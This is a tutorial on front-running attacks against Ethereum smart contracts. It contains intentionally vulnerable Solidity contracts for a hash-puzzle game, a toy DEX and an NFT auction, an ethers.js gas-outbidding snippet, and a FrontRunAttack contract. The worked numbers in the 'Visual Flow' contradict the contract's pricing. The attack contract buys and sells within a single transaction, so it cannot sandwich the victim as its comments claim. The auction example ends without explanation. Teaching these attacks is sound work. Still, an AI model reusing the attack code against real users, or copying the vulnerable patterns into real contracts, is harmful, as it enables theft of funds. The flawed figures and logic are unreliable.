What is Front Running?

Front running is when an attacker sees your pending transaction in the mempool (transaction pool) and submits their own transaction with a higher gas price to get executed first, profiting from your transaction.

YOUR TRANSACTION (Pending):
"Buy token for 1 ETH"
Gas Price: 20 gwei

ATTACKER SEES IT:
"I'll buy before them!"
Gas Price: 100 gwei ← Gets mined first!

RESULT:
1. Attacker buys token (pushes price up)
2. Your transaction executes (buys at higher price)
3. Attacker sells token (profits from price increase)

Simple Example: Finding a Solution

The Vulnerable Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
A simple game where you need to find the correct number to win.
First person to submit the correct answer wins 10 ETH.
*/

contract FindThisHash {
    bytes32 public constant hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

        (bool sent,) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}

The Attack

STEP 1: Alice finds the solution
├─ Solution: "Ethereum"
├─ Creates transaction: solve("Ethereum")
└─ Gas Price: 20 gwei

STEP 2: Transaction enters mempool (not mined yet)
├─ Visible to everyone
└─ Waiting to be mined...

STEP 3: Bob (attacker) monitors mempool
├─ Sees: solve("Ethereum")
├─ Copies the solution!
├─ Creates his own transaction: solve("Ethereum")
└─ Gas Price: 100 gwei ← HIGHER!

STEP 4: Miner picks transactions
├─ Higher gas = higher priority
├─ Bob's transaction mined first ✅
└─ Alice's transaction mined second ❌

STEP 5: Results
├─ Bob gets 10 ETH 💰
└─ Alice gets nothing (solution already used) 😭

Code Example

// Alice's transaction (slower)
const tx1 = await contract.solve("Ethereum", {
    gasPrice: ethers.utils.parseUnits('20', 'gwei')
});

// Bob watches mempool and sees the solution
// Bob's transaction (faster - front runs Alice)
const tx2 = await contract.solve("Ethereum", {
    gasPrice: ethers.utils.parseUnits('100', 'gwei')  // Higher gas!
});

// Mining order:
// 1. tx2 (Bob) - executed first ✅
// 2. tx1 (Alice) - reverts (solution already claimed) ❌

Real-World Example: DEX Trading

Vulnerable DEX Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract SimpleSwap {
    uint public tokenPrice = 1 ether;  // 1 token = 1 ETH
    uint public totalTokens = 100;

    mapping(address => uint) public balances;

    function buyToken() public payable {
        uint amount = msg.value / tokenPrice;
        require(amount <= totalTokens, "Not enough tokens");

        totalTokens -= amount;
        balances[msg.sender] += amount;

        // Price increases as supply decreases
        tokenPrice = tokenPrice * 110 / 100;  // +10% per purchase
    }

    function sellToken(uint amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        balances[msg.sender] -= amount;
        totalTokens += amount;

        uint ethAmount = amount * tokenPrice;
        payable(msg.sender).transfer(ethAmount);

        // Price decreases as supply increases
        tokenPrice = tokenPrice * 90 / 100;  // -10% per sale
    }
}

Front Running Attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract FrontRunAttack {
    SimpleSwap public swap;

    constructor(address _swap) {
        swap = SimpleSwap(_swap);
    }

    /*
    Attack scenario:
    1. Current price: 1 ETH per token
    2. Alice submits: buyToken() with 10 ETH (gas: 20 gwei)
    3. Attacker sees this in mempool
    4. Attacker front-runs with higher gas
    */

    function attack() external payable {
        // Step 1: Buy tokens BEFORE Alice (higher gas price)
        swap.buyToken{value: 5 ether}();
        // Price is now 1.1 ETH per token

        // Step 2: Alice's transaction executes
        // She buys at higher price (1.1 ETH)

        // Step 3: Attacker sells immediately after (back-running)
        uint balance = swap.balances(address(this));
        swap.sellToken(balance);
        // Profits from the price difference!
    }

    receive() external payable {}
}

Visual Flow

INITIAL STATE:
├─ Token Price: 1 ETH
└─ Tokens Available: 100

ALICE'S TRANSACTION (Pending in mempool):
├─ Action: Buy 10 tokens
├─ Cost: 10 ETH
├─ Gas: 20 gwei
└─ Status: Waiting...

ATTACKER SEES ALICE'S TX AND FRONT-RUNS:
┌─────────────────────────────────────┐
│ TX #1: Attacker buys 5 tokens       │
│ ├─ Cost: 5 ETH                      │
│ ├─ Gas: 100 gwei ← HIGHER!          │
│ └─ Price after: 1.5 ETH per token   │
└─────────────────────────────────────┘
            ↓
┌─────────────────────────────────────┐
│ TX #2: Alice's buy executes         │
│ ├─ Cost: 10 ETH                     │
│ ├─ Gets: 6.6 tokens (not 10!)       │
│ └─ Price after: 2.14 ETH per token  │
└─────────────────────────────────────┘
            ↓
┌─────────────────────────────────────┐
│ TX #3: Attacker sells 5 tokens      │
│ ├─ Revenue: 10.7 ETH                │
│ ├─ Profit: 5.7 ETH 💰               │
│ └─ Alice: Lost money 😭             │
└─────────────────────────────────────┘

Example: NFT Auction Front Running

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract NFTAuction {
    address public highestBidder;
    uint public highestBid;
    bool public ended;

    function bid() public payable {
        require(!ended, "Auction ended");
        require(msg.value > highestBid, "Bid too low");

        // Refund previous bidder
        if (highestBidder != address(0)) {
            payable(highestBidder).transfer(highestBid);
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function endAuction() public {
        ended = true;
        // Transfer NFT to highestBidder
    }
}